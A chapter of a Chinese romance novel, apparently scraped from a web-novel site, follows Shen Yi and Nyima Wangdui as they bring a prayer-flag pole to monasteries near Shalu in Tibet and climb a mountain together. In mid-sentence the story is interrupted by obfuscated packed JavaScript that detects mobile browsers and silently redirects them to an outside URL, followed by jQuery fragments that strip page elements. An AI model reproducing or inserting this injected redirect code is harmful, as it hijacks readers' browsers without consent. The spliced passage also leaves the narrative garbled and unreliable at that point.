“记忆是有气味的。”


    沈翊后来常常这样觉得。


    他记忆中城市的气味是地铁站混杂的香水与灰尘，是写字楼走廊永不消散的咖啡因以及它带来的焦虑。而西藏的气味，是分层的，像一本被岁月反复翻阅过的书，最表层是阳光下干燥的牛粪与草秸，往下翻，是酥油融化的醇厚，再深些，是藏香燃尽后留在织物上的、近似檀木的余韵。


    但最深处的那一层，是属于他们的记忆。


    那是藏历新年前的一个寻常下午，大概是从山南回来后不久，突然决定去的。


    高原的冬天有一种清澈透明的感觉，天空中稀少有云朵在飘动，阳光无比刺眼，与地上的雪一起让人眼神迷离。


    那天，尼玛旺堆从仓库里搬出一根长长的树枝，放在院中晾晒。树枝未经打磨，树皮还斑驳地附着，顶部被削成简洁的尖锥。


    “这是什么？”沈翊蹲下身，手指轻拂过木头上天然的纹路。


    “经幡柱。”尼玛旺堆用抹布擦拭着杆身，“夏鲁寺那儿的经幡柱应该要换新的了，我要去帮忙，虽然他们不需要……”


    他的语气平常得像在说“该去喂牛了”。


    沈翊却敏锐地感觉到那看似忙碌下想去帮忙的急切。


    这些日子，他已经学会从尼玛旺堆最细微的动作里去了解信息，当他格外认真地做一件事时，下颌线会微微绷紧，眼神低垂，与手中的物件进行一场无声的对话。


    “我也能去？”


    话问出口，沈翊自己先怔了怔。


    什么时候开始，他不再用“可以吗”、“方便吗”这类带着距离感的措辞了？取而代之的是一种近乎本能的“我想参与”。


    尼玛旺堆停下动作，抬起头看他。


    阳光从他背后打过来，在他轮廓周围镀上一层毛茸茸的光晕。有那么几秒钟，他只是看着沈翊，眼神很深，像是在想什么，又像是在确认什么。


    “路途有点远，”他终于开口，声音比平时低些，“另外一个寺在山上，要爬一段。”


    “我不怕。”沈翊说，甚至笑了笑，“总不能一直当个需要被照顾的人。”


    尼玛旺堆的嘴角几不可察地弯了一下。


    他没再说什么，只是点点头，继续擦拭木杆，但沈翊注意到，他擦得更仔细了，连树皮缝隙里的尘土都用指甲轻轻抠出来。


    出发是在第二天的凌晨。


    天色还是浓稠的墨蓝，星星挂在天上，亮得有些不近人情。阿妈米玛啦早早起来，在佛堂前点燃一盏酥油灯。跳跃的火光映亮她布满皱纹的脸，她低声念诵着什么，将一把青稞粒撒向空中。


    尼玛旺堆已将经幡柱绑在车顶，柱身用崭新的白色哈达缠绕，顶端系着一束五彩经幡，在尚未天光的晨风中微微飘动。沈翊坐进副驾驶，怀里抱着一个鼓囊囊的布袋——里面是尼玛旺堆准备的糌粑、风干牛肉和一小壶青稞酒。


    车子驶出村庄，驶入一片混沌的黑暗。车灯划破夜色，照亮前方一小段颠簸的土路。两人都没有说话。沈翊侧头看着窗外，看着黑暗中影影绰绰的山峦轮廓，像巨兽沉睡的脊背。他忽然想起小时候读过的神话，那些关于英雄在黎明前踏上征途的故事。那时候他觉得浪漫，现在才明白，真正的“征途”往往始于这种近乎麻木的、对抗寒冷与困倦的沉默前行。


    “困了就睡。”尼玛旺堆忽然说，声音在引擎的嗡鸣中显得格外清晰。


    “不困。”沈翊摇摇头，却忍不住打了个哈欠。


    尼玛旺堆低低笑了一声，没再说话。他从储物格里摸出一颗水果糖，单手剥开，递到沈翊嘴边。沈翊愣了下，下意识地张嘴含住。甜味在舌尖化开，带着人造香精的廉价感，却奇异地驱散了凌晨的寒意和困意。


    “你总是有糖。”沈翊含着糖，含糊地说，“像是在变戏法一样。”


    “习惯了。”尼玛旺堆目视前方，“小时候跟阿妈去转山，走不动了，她就给我一颗糖。说，吃了就有力气走到下一个垭口。”


    沈翊想象着那个画面：小小的尼玛旺堆，牵着母亲的手，走在无尽的山路上。糖是奖励，是安慰，是撑下去的微小理由。他忽然觉得心里某个地方软了一下。


    “你母亲……很了不起。”


    “嗯。”尼玛旺堆应了一声，沉默片刻，才接着说，“她没读过什么书，但懂的比谁都多。她说，‘人活一辈子，就像转山，重要的不是爬到多高，而是每一步都踩的踏实了。’


    车子拐过一个急弯，夏鲁寺所在的河谷在晨光熹微中逐渐显露。


    那是一种让沈翊屏住呼吸的景象。


    不远处有一座寺庙建筑群依山而建，红白相间的墙体在青灰色山岩的衬托下，显得格外鲜明。


    沈翊惊叹道，“是山顶的那一座吗？”


    尼玛旺堆看了一眼说：“不是，拐个弯就到了。”


    车子停下，映入眼帘的是一座很小的寺庙。


    尼玛旺堆笑着说：“这里就是第一站，里面供奉的是‘拉姆’会有很多人在周二、周天前往这里，寻求祈福。”


    沈翊望着眼前的小寺庙，似懂非懂的点点头。


    进门后听到的是念经声与敲鼓声，很快他们进到里面映入眼帘的是狭小的空间内挤满了人，转道一半有一块很大的石头，中间沉积这水，旁边放着铜做的勺子。


    不等他反应，尼玛旺堆手里已经买了两个哈达和一罐青稞酒，他笑着走来说：“把你的左手伸出来，”沈翊照做，他拿着勺子往他手里倒了石头里沉积的水，“这是自然圣水，你喝三口。”最后尼玛旺堆往他头上洒了三下，嘴里还在念叨着什么。


    随后他们来到了‘拉姆’面前，尼玛旺堆把青稞酒递给僧人，自己双手举着哈达对着‘拉姆’许愿。沈翊照做。


    完事儿后，他们出来前往夏鲁寺。


    来到停车场，沈翊发现与扎什伦布寺巍峨的金顶不同，夏鲁寺的屋顶是深灰色的，带着一种古朴的、近乎朴拙的厚重感。最引人注目的是主殿的琉璃歇山顶，那是汉地建筑的典型特征，碧绿的瓦片在逐渐亮起的天光中泛着湿润的光泽。


    “夏鲁寺，”尼玛旺堆停好车


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183011|196977||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，仰头望着那片建筑，“是藏传佛教里很特别的存在。你看那屋顶，是元朝时候的风格。代表汉、藏，在这儿几百年了。”


    “我记得，最底层的地基代表藏、中间是尼泊尔、还有一个是蒙古、上层是汉。依稀是这样，具体已经想不起了。”微微低头摸了一下脑袋说，“有点对不起老师，把学过的知识已经还给他了……”


    他说话时，气息在冷空气中凝成白雾。沈翊顺着他的目光望去，是第二次如此直观地感受到“历史”二字的重量。


    那不是旅游手册上轻飘飘的词汇，是砖石、木材、琉璃瓦，是无数匠人的手，是时间一层层夯实的、具象的存在。


    他们径直进去，里面挤满了人，很多人在卸下从经幡柱上面借下的哈达。


    尼玛旺堆只对他说了一句：“等着”


    没过一会儿，就拿着金黄色的哈达出来了，伸手就给他带上了，“你这样真好看，这相当于护身符，今天就戴着吧。”随即笑着说：“不过，这里已经不需要我们了，那我们去山上的寺庙—仁布寺”


    驾驶着车来到山腰处的停车场。


    他们卸下经幡柱。


    尼玛旺堆将柱子扛在肩上，沈翊抱着布袋和一大捆五彩经幡跟在后面。


    通往寺庙的小路隐蔽在乱石和灌木丛中，几乎没有成形的路径。


    “跟紧我。”尼玛旺堆回头说，脚步却放得很慢，似乎在刻意等他。


    爬山比想象中更艰难。海拔已超过四千米，每走几步，沈翊就得停下来大口喘气。肺部像被粗糙的砂纸摩擦，心脏在耳膜处咚咚捶打。尼玛旺堆不时停下，却不催他，只是将经幡柱杵在地上，拿出事先准备好的氧气瓶温柔的说：“要不，你还是在这里等我，我很快就回来。”


    沈翊摇头拒绝，尼玛旺堆只好答应。


    突然，沈翊脚下一滑，膝盖磕在尖锐的石头上。疼痛瞬间炸开，他闷哼一声，蹲下身。


    尼玛旺堆几乎立刻折返回来。他放下经幡柱，在沈翊面前蹲下，眉头蹙紧：“磕哪儿了？”


    “没事，”沈翊咬牙，“就碰了一下。”


    尼玛旺堆没说话，直接伸手卷起他的裤腿。膝盖处擦破了一大片皮，渗着血珠，在苍白的皮肤上显得格外刺眼。沈翊有些窘迫，想缩回腿，却被尼玛旺堆轻轻按住。


    “别动。”他从随身的小布袋里掏出一个拇指大小的铜盒，打开，里面是深褐色的膏状物，散发着浓烈的草药气味。“藏医做的，止血快。”


    他用指尖挑起一点药膏，小心地涂抹在伤口上。药膏触感冰凉，带着刺痛，但尼玛旺堆的动作异常轻柔，指尖的温度透过药膏传递过来。沈翊低头看着他浓密的发顶，看着他专注的侧脸，忽然忘了疼。


    “好了。”尼玛旺堆抬起头，正好撞上沈翊的目光。两人都愣了一下。


    沈翊率先移开视线，低声说：“谢谢。”


    尼玛旺堆没应声，只是迅速收回手，重新背起经幡柱，“慢慢走，不着急。”他说，耳根在晨光中微微泛红。不知道是冻的还是因为害羞的。